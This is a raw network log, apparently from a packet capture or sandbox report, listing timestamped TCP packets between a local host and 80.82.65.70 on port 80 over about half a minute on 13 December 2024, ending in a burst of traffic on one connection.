Dec 13, 2024 08:35:58.905780077 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.907213926 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:00.943149090 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:01.063254118 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:01.433620930 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:01.433792114 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:03.459718943 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:03.632667065 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:03.980022907 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:03.980117083 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:06.007148981 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:06.126988888 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:06.491027117 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:06.491215944 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:08.521539927 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:08.641423941 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:09.011677027 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:09.011759996 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:11.037185907 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:11.158447981 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:11.525727034 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:11.525814056 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:13.553316116 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:13.673206091 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:14.085191011 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:14.085685968 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:16.115699053 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:16.235579014 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:16.612184048 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:16.612490892 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:18.647279024 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:18.767127037 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:19.137053967 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:19.137118101 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:21.162498951 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:21.163008928 CET	49744	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:21.282726049 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:21.282871008 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:21.283190012 CET	80	49744	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:21.283304930 CET	49744	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:21.283587933 CET	49744	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:21.403541088 CET	80	49744	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:22.623142004 CET	80	49744	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:22.623321056 CET	49744	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:24.646616936 CET	49744	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:24.647301912 CET	49755	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:24.767656088 CET	80	49744	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:24.767774105 CET	49744	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:24.767844915 CET	80	49755	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:24.768013000 CET	49755	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:24.768309116 CET	49755	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:24.888135910 CET	80	49755	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:26.105125904 CET	80	49755	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:26.105242014 CET	49755	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:28.771296024 CET	49755	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:28.891621113 CET	80	49755	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:28.891953945 CET	49755	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:29.181232929 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:29.301245928 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:29.301347017 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:29.301923037 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:29.421742916 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791419983 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791452885 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791465044 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791517019 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.791546106 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.791565895 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791578054 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791589975 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791600943 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791610003 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.791630983 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.791841030 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791851997 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791863918 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.791881084 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.791908979 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.911623955 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.911658049 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.911700964 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.911737919 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.983545065 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.983620882 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.983629942 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.983927011 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.987787008 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.987854958 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.987936020 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.988117933 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.996083975 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.996155024 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:30.996211052 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:30.996452093 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.004456043 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.004561901 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.004565954 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.004614115 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.012980938 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.013035059 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.013082027 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.013267040 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.021275997 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.021317959 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.021337032 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.021357059 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.029730082 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.029788017 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.029808998 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.029860973 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.038060904 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.038152933 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.038160086 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.038199902 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.046471119 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.046538115 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.046658993 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.046700001 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.054886103 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.054977894 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.055008888 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.055192947 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.062503099 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.062568903 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.062669039 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.176426888 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.176465034 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.176523924 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.176572084 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.178939104 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.179008007 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.179049015 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.179279089 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.183938980 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.184001923 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.184037924 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.184227943 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.189052105 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.189112902 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.189141035 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.189191103 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.194051981 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.194148064 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.194169998 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.194214106 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.198766947 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.198931932 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.199002028 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.203716040 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.203775883 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.203850985 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.208409071 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.208513975 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.208668947 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.213191986 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.213284969 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.213361979 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.218153954 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.218204975 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.218286991 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.222785950 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.222906113 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.222974062 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.227659941 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.227798939 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.227869987 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.232458115 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.232508898 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.232575893 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.237205982 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.237349987 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.237425089 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.242019892 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.242130995 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.242197037 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.246823072 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.246982098 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.247072935 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.251619101 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.251712084 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.251770973 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.256406069 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.256531000 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.256597996 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.261214972 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.261334896 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.261399031 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.266110897 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.266189098 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.266220093 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.266272068 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.270828962 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.274329901 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.368453026 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.368474960 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.368535042 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.369582891 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.369647980 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.369692087 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.373588085 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.373791933 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.373822927 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.373847961 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.377610922 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.377661943 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.377703905 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.377743006 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.381649971 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.381751060 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.381781101 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.381795883 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.385654926 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.385698080 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.385727882 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.385756969 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.389424086 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.389508009 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.389535904 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.389781952 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.393001080 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.393071890 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.393165112 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.393373013 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.396680117 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.396729946 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.396804094 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.396843910 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.400291920 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.400378942 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.400410891 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.400430918 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.403757095 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.403848886 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.403892994 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.404195070 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.407449007 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.407461882 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.407526016 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.410943985 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.410993099 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.411015987 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.411106110 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.414539099 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.414633989 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.414647102 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.414690971 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.418157101 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.418253899 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.418282032 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.418315887 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.421613932 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.421746969 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.421848059 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.425199986 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.425262928 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.425343990 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.425442934 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.428848028 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.428942919 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.429042101 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.429280996 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.432333946 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.432414055 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.432502031 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.432542086 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.435879946 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.435959101 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.436024904 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.436065912 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.439507961 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.439573050 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.439578056 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.439610004 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.443015099 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.443113089 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.443133116 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.443161964 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.446589947 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.446647882 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.446683884 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.446722984 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.450146914 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.450202942 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.450263023 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.450493097 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.453720093 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.453803062 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.453896046 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.457215071 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.457293987 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.560723066 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.560859919 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.561021090 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.562274933 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.562376022 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.562484026 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.562530041 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.565020084 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.565165997 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.565222025 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.567728043 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.567842960 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.567990065 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.570475101 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.570621967 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.570676088 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.573282957 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.573426962 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.573499918 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.575949907 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.576184988 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.576234102 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.578545094 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.578670025 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.578747034 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.581219912 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.581286907 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.581322908 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.582309008 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.583709955 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.583781958 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.583812952 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.583852053 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.586294889 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.586410046 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.586460114 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.588870049 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.588954926 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.589014053 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.591466904 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.591628075 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.591679096 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.593961000 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.594158888 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.594214916 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.596479893 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.596533060 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.596741915 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.596781015 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.599060059 CET	80	49766	80.82.65.70	192.168.2.4
